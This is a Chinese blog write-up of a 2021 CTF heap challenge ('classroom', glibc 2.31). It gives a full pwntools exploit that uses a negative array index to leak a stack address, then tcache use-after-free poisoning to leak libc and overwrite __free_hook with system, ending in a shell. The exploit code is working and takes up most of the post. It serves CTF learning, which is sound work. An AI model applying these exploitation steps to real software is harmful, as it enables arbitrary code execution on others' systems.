堆技巧 数组反向越界泄露地址

61 篇文章 1 订阅
18 篇文章 1 订阅

四川省2021信息安全技术大赛 classroom

痛苦痛苦痛苦,调了半天才找到数组起始地址,还是自己太菜了,好好记录一下这题
在这里插入图片描述
在这里插入图片描述
题目给了libc,2.31的题
嗯,可以考虑覆盖got表或者hook函数
打开ida发现是c++的题,认真分析一下

free函数

在这里插入图片描述

存在UAF

add函数与show函数

在这里插入图片描述
index是int型数据,有符号整型,可以为负数,程序会在申请完chunk后将chunk内容输出出来,如果我们输入index处本来有内容,那么他会不让我们输入内容,直接将chunk的内容输出来,这里我们就想到利用数组越界来泄露某些地址了。
add函数只允许申请0x20大小的chunk,且输入的chunk内容最多为8字节

add函数
show函数,chunk内容位于第二个参数,rsi传参

思路

1.利用gdb调试找到chunk数组起始地址,输入负数泄露栈地址
2.利用UAF获得libc地址
3.利用UAF覆盖__free_hook为system函数
4.释放内容为/bin/sh的chunk获得shell

过程

先把前面的写好

# coding=utf-8
from pwn import *
context.log_level='debug'
s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims		    :p.recvuntil(delims)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
#p=remote('',)
p=process('./classroom')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def dbg(cmd=''):
	gdb.attach(p,cmd)
	 

def add(idx, content = 'a\n'):

	sla('>', str(1))

	sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))

	sla('Would you tell me THIS STUDENT\'S NAME?\n>', content)

def free(idx):

	sla('>', str(2))

	sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))

def edit(idx, content):

	sla('>', str(3))

	sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))

	sla('Would you tell me THIS STUDENT\'S NAME?\n>', content)

在这里插入图片描述
show函数在0x1957处,在下断点调试

# coding=utf-8
from pwn import *
context.log_level='debug'
def dbg(cmd=''):
	gdb.attach(p,cmd)
p=process('./classroom')
dbg('b * $rebase(0x1957)')
p.interactive()

我们申请三个chunk,内容依次为eee,qwe,zxczx,依次为chunk0,1,2,每当执行到show函数的时候,我们发现chunk0,1,2依次存在返回地址的下面,说明数组起始地址(也就是a1的地址就是返回地址的下一位(0x7ffe916dca58)),那么我们可以输入 -4来获取0x7ffe916dcac0这个地址

sla('>', str(1))
sla('Would you tell me THIS STUDENT\'S ID?\n>', str(0xfffffffc)) #-4  4294967292 
 
ru('Welcome my student :')

 
stack = u64(r(6).ljust(8, '\x00')) 
lg('stack',stack)
 
libc_ret = stack+0x8
lg('libc_ret',libc_ret)
#libc_ret
 

dbg('b * $rebase(0x1957)')

在这里插入图片描述

泄露的栈地址0x7ffe916dcac0+0x8就是存放__libc_start_main+243的地址,我们可以利用uaf修改chunk的fd指针使chunk申请到__libc_start_main+243处,获得libc,由于我们不能破坏栈结构,我们可以找个没有有用数据的地址stack-0x70处,然后将存放__libc_start_main+243的地址放到stack-0x70处,之后show函数输出__libc_start_main+243地址,获得libc基地址。

add(0)
add(1)
add(2)
add(5)
add(6)
add(7, '/bin/sh') #存放/bin/sh,一会将free_hook改为system时使用
free(0)             
free(1)
dbg()

在这里插入图片描述

edit(1, p64(stack-0x70))    #修改tcache bin chunk1指向stack-0x70处
dbg()

在这里插入图片描述

add(3)
dbg()

在这里插入图片描述
再次申请chunk,会把chunk申请到stack-0x70处,将存放__libc_start_main+243的地址写入

add(4, p64(libc_ret)) #将chunk申请到stack-0x70处

sla('>', str(1))
sla('Would you tell me THIS STUDENT\'S ID?\n>', str(0)) 
p.recvuntil('Welcome my student :')
libc.address = u64(r(6).ljust(8, '\0'))-libc.sym['__libc_start_main']-243
lg('libc.address ',libc.address )
dbg()

在这里插入图片描述
之后利用相同的方法将free_hook改为system函数

free(5)

free(6)

edit(6, p64(libc.sym['__free_hook']))

add(8)

add(9, p64(libc.sym['system']))

free(7)


itr()

获得shell

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值